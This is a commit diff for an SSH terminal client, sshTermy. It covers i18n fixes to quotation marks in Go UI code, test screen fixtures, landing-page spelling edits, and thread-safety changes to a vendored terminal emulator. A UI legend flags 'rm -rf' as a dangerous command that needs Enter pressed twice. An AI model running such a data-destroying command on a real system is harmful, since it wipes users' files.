||||
func (m muxState) label() string {
|
||||
l := m.kind + i18n.T("-Sitzung")
|
||||
if m.name != "" {
|
||||
l = m.kind + i18n.T("-Sitzung „") + m.name + "“"
|
||||
l = m.kind + i18n.T("-Sitzung „") + m.name + i18n.T("“")
|
||||
}
|
||||
if m.view {
|
||||
l += i18n.T(" (nur zuschauen)")
|
||||
|
||||
@@ -158,7 +158,7 @@ func (a *App) startRelayPair() (tea.Cmd, error) {
|
||||
a.flashErr(err.Error())
|
||||
return nil
|
||||
}
|
||||
a.flash(i18n.T("Gekoppelt mit Vermittler „") + r.Name + "“")
|
||||
a.flash(i18n.T("Gekoppelt mit Vermittler „") + r.Name + i18n.T("“"))
|
||||
return a.openRelaySystems()
|
||||
}}
|
||||
}, nil
|
||||
@@ -254,7 +254,7 @@ func (a *App) relayPicker(current string, onPick func(pickItem) tea.Cmd) *picker
|
||||
hint = append(hint, i18n.T("○ offline"))
|
||||
}
|
||||
if c, ok := a.savedVia(r.ID, s.ID); ok {
|
||||
hint = append(hint, i18n.T("gespeichert als „")+trunc(c.Alias, 20)+"“")
|
||||
hint = append(hint, i18n.T("gespeichert als „")+trunc(c.Alias, 20)+i18n.T("“"))
|
||||
}
|
||||
it.hint = strings.Join(hint, " · ")
|
||||
items = append(items, it)
|
||||
@@ -459,7 +459,7 @@ func (a *App) testRelay(r domain.Relay) tea.Cmd {
|
||||
lines = append(lines, i18n.T("✓ erreichbar, Zertifikat und Schlüssel gültig")+fmt.Sprintf(" (%d ms)", ms),
|
||||
fmt.Sprintf(i18n.T("✓ %d Systeme, davon %d online"), len(l.Systems), on))
|
||||
}
|
||||
a.modal = &modal{kind: mInfo, title: i18n.T("Vermittler „") + r.Name + "“", body: strings.Join(lines, "\n")}
|
||||
a.modal = &modal{kind: mInfo, title: i18n.T("Vermittler „") + r.Name + i18n.T("“"), body: strings.Join(lines, "\n")}
|
||||
return nil
|
||||
}}
|
||||
}
|
||||
|
||||
@@ -534,7 +534,7 @@ func (a *App) scheduleMsg(msg tea.Msg) (tea.Cmd, bool) {
|
||||
a.updateSchedule(m.id, func(x *domain.Schedule) {
|
||||
x.LastOK, x.LastFail, x.LastText = 0, 1, "× "+m.err.Error()
|
||||
})
|
||||
a.flashErr(i18n.T("Zeitplan „") + sc.Name + "“: " + m.err.Error())
|
||||
a.flashErr(i18n.T("Zeitplan „") + sc.Name + i18n.T("“") + ": " + m.err.Error())
|
||||
a.schedDesktop(sc.Name, m.err.Error())
|
||||
return nil, true
|
||||
}
|
||||
|
||||
@@ -238,7 +238,7 @@ func (a *App) viewErrorList(s *session, w, h int) string {
|
||||
if len(sr.matches) == 0 {
|
||||
msg := i18n.T("Keine Fehlerzeilen im Verlauf")
|
||||
if sr.in.Value() != "" {
|
||||
msg = i18n.T("Keine Fehlerzeilen mit „") + sr.in.Value() + "“"
|
||||
msg = i18n.T("Keine Fehlerzeilen mit „") + sr.in.Value() + i18n.T("“")
|
||||
}
|
||||
return fitBlock("\n "+st.OK.Render("✓ "+msg)+"\n\n "+a.hints(st.Muted, [2]string{"Tab", i18n.T("zeigt den Verlauf")}, [2]string{"Strg+E", i18n.T("Filter aus")}, [2]string{"Esc", i18n.T("schließen")}), w, h)
|
||||
}
|
||||
|
||||
@@ -325,7 +325,7 @@ func (a *App) fixFocus() {
|
||||
// (gleich groß), Zoom endet.
|
||||
func (a *App) setSplit(m splitMode) {
|
||||
if !a.fits(m) {
|
||||
a.flash(i18n.T("Fenster zu klein für „") + m.label() + "“")
|
||||
a.flash(i18n.T("Fenster zu klein für „") + m.label() + i18n.T("“"))
|
||||
return
|
||||
}
|
||||
old := a.panes
|
||||
|
||||
@@ -95,7 +95,7 @@ func keySlug(s string) string {
|
||||
}
|
||||
|
||||
func (a *App) openSSHKeyForm(c domain.Connection) tea.Cmd {
|
||||
f := &form{title: i18n.T("SSH-Schlüssel für „") + c.Alias + "“ (" + c.Username + "@" + c.Host + ")"}
|
||||
f := &form{title: i18n.T("SSH-Schlüssel für „") + c.Alias + i18n.T("“") + " (" + c.Username + "@" + c.Host + ")"}
|
||||
f.choice("mode", i18n.T("Schlüssel"), []string{keyModeNew, keyModeOld}, keyModeNew, i18n.T("neu wie ssh-keygen, oder einen vorhandenen Key nehmen"))
|
||||
notNew := func(f *form) bool { return f.sel("mode") != keyModeNew }
|
||||
notOld := func(f *form) bool { return f.sel("mode") != keyModeOld }
|
||||
|
||||
+1
-1
@@ -27,6 +27,6 @@
|
||||
│ ▸ Advanced all off ─────────────────────────────────────────────────────────────────────── │
|
||||
│ │
|
||||
│ ──────────────────────────────────────────────────────────────────────────────────────────── │
|
||||
│ Display name, e.g. „DGX Spark“ │
|
||||
│ Display name, e.g. “DGX Spark” │
|
||||
│ │
|
||||
Tab next ←/→ select Ctrl+S save Esc cancel
|
||||
+1
-1
@@ -27,6 +27,6 @@
|
||||
│ ▸ Advanced all off ─────────────────────────────────────────────────────────────────────── │
|
||||
│ │
|
||||
│ ──────────────────────────────────────────────────────────────────────────────────────────── │
|
||||
│ Display name, e.g. „DGX Spark“ │
|
||||
│ Display name, e.g. “DGX Spark” │
|
||||
│ │
|
||||
Tab next ←/→ select Ctrl+S save Esc cancel
|
||||
+2
-2
@@ -6,7 +6,7 @@
|
||||
|
||||
|
||||
┌──────────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ Quick commands: web-01 (defaults „Linux-Server“) │
|
||||
│ Quick commands: web-01 (defaults “Linux-Server”) │
|
||||
│ ▌ ⇧F1 df -h │
|
||||
│ ⇧F2 free -h │
|
||||
│ ⇧F3 uptime │
|
||||
@@ -17,7 +17,7 @@
|
||||
│ ⇧F8 top -bn1 | head -20 │
|
||||
│ │
|
||||
│ ──────────────────────────────────────────────────────────────────────────────────────────── │
|
||||
│ Ctrl+R = defaults „Linux-Server“ · Ctrl+S save │
|
||||
│ Ctrl+R = defaults “Linux-Server” · Ctrl+S save │
|
||||
│ │
|
||||
│ │
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
+1
-1
@@ -6,7 +6,7 @@ deploy@web-01:~$ systemctl status nginx --no-pager | head -3
|
||||
● nginx.service - A high performance web server and a reverse proxy server
|
||||
Loaded: loaded (/lib/systemd/system/nginx.service; enabled)
|
||||
Active: active (running) since Mon 2026-11-02 08:15:00 UTC
|
||||
deploy@web-01:~┌─ ► Quick commands web-01 · defaults „Linux-Server“ ─────────── × ─┐
|
||||
deploy@web-01:~┌─ ► Quick commands web-01 · defaults “Linux-Server” ─────────── × ─┐
|
||||
│ │
|
||||
│ ⇧F1 df -h │
|
||||
│ ⇧F2 free -h │
|
||||
|
||||
+1
-1
@@ -17,7 +17,7 @@
|
||||
│ Autostart ○ off │
|
||||
│ │
|
||||
│ ──────────────────────────────────────────────────────────────────────────────────────────── │
|
||||
│ e.g. „Grafana“ │
|
||||
│ e.g. “Grafana” │
|
||||
│ │
|
||||
│ │
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
@@ -77,7 +77,7 @@ func (a *App) openConns(conns []domain.Connection, m splitMode, fx, fy []float64
|
||||
// passt nicht: die größte Aufteilung, die passt
|
||||
for _, alt := range []splitMode{splitGrid6, splitGrid, splitCols3, splitMain, splitCols, splitRows, splitOff} {
|
||||
if alt.slots() <= m.slots() && a.fits(alt) {
|
||||
a.flash(i18n.T("Fenster zu klein für „") + m.label() + i18n.T("“, nehme „") + alt.label() + "“")
|
||||
a.flash(i18n.T("Fenster zu klein für „") + m.label() + i18n.T("“, nehme „") + alt.label() + i18n.T("“"))
|
||||
m, fx, fy = alt, nil, nil
|
||||
break
|
||||
}
|
||||
@@ -226,7 +226,7 @@ func (a *App) workspaceItems() []pickItem {
|
||||
desc := func(w domain.Workspace) (string, string) {
|
||||
m, _ := splitByID(w.Layout)
|
||||
if w.Folder != "" {
|
||||
return i18n.T("Ordner „") + w.Folder + "“", i18n.T("Raster")
|
||||
return i18n.T("Ordner „") + w.Folder + i18n.T("“"), i18n.T("Raster")
|
||||
}
|
||||
var names []string
|
||||
for _, id := range w.Conns {
|
||||
@@ -322,7 +322,7 @@ func (a *App) openWorkspaces() tea.Cmd {
|
||||
if strings.TrimSpace(q) == "" {
|
||||
return nil
|
||||
}
|
||||
return &pickItem{value: "save:" + q, label: i18n.T("+ Aktuelle Ansicht speichern als „") + q + "“"}
|
||||
return &pickItem{value: "save:" + q, label: i18n.T("+ Aktuelle Ansicht speichern als „") + q + i18n.T("“")}
|
||||
}
|
||||
inner := p.onPick
|
||||
p.onPick = func(it pickItem) tea.Cmd {
|
||||
|
||||
Binary file not shown.
Binary file not shown.
+2
-2
@@ -86,7 +86,7 @@ sudo apt update && sudo apt install sshtermy</pre></div>
|
||||
<div class="demo">
|
||||
<div class="text">
|
||||
<h3>Ghost text and errors explained</h3>
|
||||
<p>While you type, the AI completes the line in grey; Tab accepts. After every command it offers follow-ups (Alt+1…4). When a command fails, Alt+0 asks the AI why, with the output as context, and 1…9 inserts a suggested fix.</p>
|
||||
<p>While you type, the AI completes the line in gray; Tab accepts. After every command it offers follow-ups (Alt+1…4). When a command fails, Alt+0 asks the AI why, with the output as context, and 1…9 inserts a suggested fix.</p>
|
||||
</div>
|
||||
<figure><img src="gifs/ghost-en.gif" width="962" height="594" alt="Ghost text completes systemctl status nginx, the command fails, Alt+0 explains why and inserts the fix" loading="lazy"></figure>
|
||||
</div>
|
||||
@@ -144,7 +144,7 @@ sudo apt update && sudo apt install sshtermy</pre></div>
|
||||
<div class="card"><h3>Pro SSH</h3><p>Agent forwarding, X11 forwarding, FIDO2 security keys, Kerberos/GSSAPI, SSH certificates, persistent tmux/screen sessions.</p></div>
|
||||
<div class="card"><h3>Files in the terminal</h3><p><code>tsz</code>/<code>trz</code> (trzsz) through <code>sudo su</code> and several hops, clipboard from the server via OSC 52.</p></div>
|
||||
<div class="card"><h3>Team sharing</h3><p>Encrypted <code>.sshteam</code> packages and team folders that keep everyone's connections up to date, without passwords.</p></div>
|
||||
<div class="card"><h3>Look & keys</h3><p>Seven themes including Matrix, Amber and Neon, your own colours, four icon styles, every shortcut can be changed.</p></div>
|
||||
<div class="card"><h3>Look & keys</h3><p>Seven themes including Matrix, Amber and Neon, your own colors, four icon styles, every shortcut can be changed.</p></div>
|
||||
<div class="card"><h3>Screen lock</h3><p>Lock now or after 5 to 60 minutes idle; sessions keep running behind the lock.</p></div>
|
||||
</div>
|
||||
<div class="shots">
|
||||
|
||||
Vendored
+5
-5
@@ -3,6 +3,7 @@ package vt
|
||||
import (
|
||||
"image/color"
|
||||
"io"
|
||||
"sync/atomic"
|
||||
|
||||
uv "github.com/charmbracelet/ultraviolet"
|
||||
"github.com/charmbracelet/ultraviolet/screen"
|
||||
@@ -67,7 +68,7 @@ type Emulator struct {
|
||||
gsingle int // temporarily select GL or GR
|
||||
|
||||
// Indicates if the terminal is closed.
|
||||
closed bool
|
||||
closed atomic.Bool // Read läuft in einem eigenen Goroutine, Close aus der UI
|
||||
|
||||
// atPhantom indicates if the cursor is out of bounds.
|
||||
// When true, and a character is written, the cursor is moved to the next line.
|
||||
@@ -262,7 +263,7 @@ func (e *Emulator) Resize(width int, height int) {
|
||||
|
||||
// Read reads data from the terminal input buffer.
|
||||
func (e *Emulator) Read(p []byte) (n int, err error) {
|
||||
if e.closed {
|
||||
if e.closed.Load() {
|
||||
return 0, io.EOF
|
||||
}
|
||||
|
||||
@@ -271,17 +272,16 @@ func (e *Emulator) Read(p []byte) (n int, err error) {
|
||||
|
||||
// Close closes the terminal.
|
||||
func (e *Emulator) Close() error {
|
||||
if e.closed {
|
||||
if !e.closed.CompareAndSwap(false, true) {
|
||||
return nil
|
||||
}
|
||||
|
||||
e.closed = true
|
||||
return e.pw.CloseWithError(io.EOF) //nolint:wrapcheck
|
||||
}
|
||||
|
||||
// Write writes data to the terminal output buffer.
|
||||
func (e *Emulator) Write(p []byte) (n int, err error) {
|
||||
if e.closed {
|
||||
if e.closed.Load() {
|
||||
return 0, io.ErrClosedPipe
|
||||
}
|
||||
|
||||
|
||||
Vendored
+18
@@ -62,6 +62,24 @@ func (se *SafeEmulator) CellAt(x, y int) *uv.Cell {
|
||||
return se.Emulator.CellAt(x, y)
|
||||
}
|
||||
|
||||
// CellCopy liefert eine Kopie der Zelle (sshTermy). CellAt gibt einen Zeiger
|
||||
// in den Puffer zurück, den ein gleichzeitiges Write verändern kann.
|
||||
func (se *SafeEmulator) CellCopy(x, y int) (uv.Cell, bool) {
|
||||
se.mu.RLock()
|
||||
defer se.mu.RUnlock()
|
||||
if c := se.Emulator.CellAt(x, y); c != nil {
|
||||
return *c, true
|
||||
}
|
||||
return uv.Cell{}, false
|
||||
}
|
||||
|
||||
// String liefert den Bildschirminhalt als Klartext (gesperrt, sshTermy).
|
||||
func (se *SafeEmulator) String() string {
|
||||
se.mu.RLock()
|
||||
defer se.mu.RUnlock()
|
||||
return se.Emulator.String()
|
||||
}
|
||||
|
||||
// SendKey sends a key event to the emulator in a concurrency-safe manner.
|
||||
func (se *SafeEmulator) SendKey(key uv.KeyEvent) {
|
||||
se.mu.Lock()
|
||||
|
||||
@@ -274,7 +274,7 @@ export const en = {
|
||||
['●', 'red: AI unreachable (click: details)', 'bad'],
|
||||
['✓ × !', 'tab: long command done · ! = color rule'],
|
||||
['PRODUCTION', 'red status line: careful, live system', 'warn'],
|
||||
['status nginx', 'grey ghost text: Tab accepts', 'ghost'],
|
||||
['status nginx', 'gray ghost text: Tab accepts', 'ghost'],
|
||||
['rm -rf', 'red: dangerous, ⏎ twice', 'danger'],
|
||||
]},
|
||||
],
|
||||
|
||||
Reference in new issue
Block a user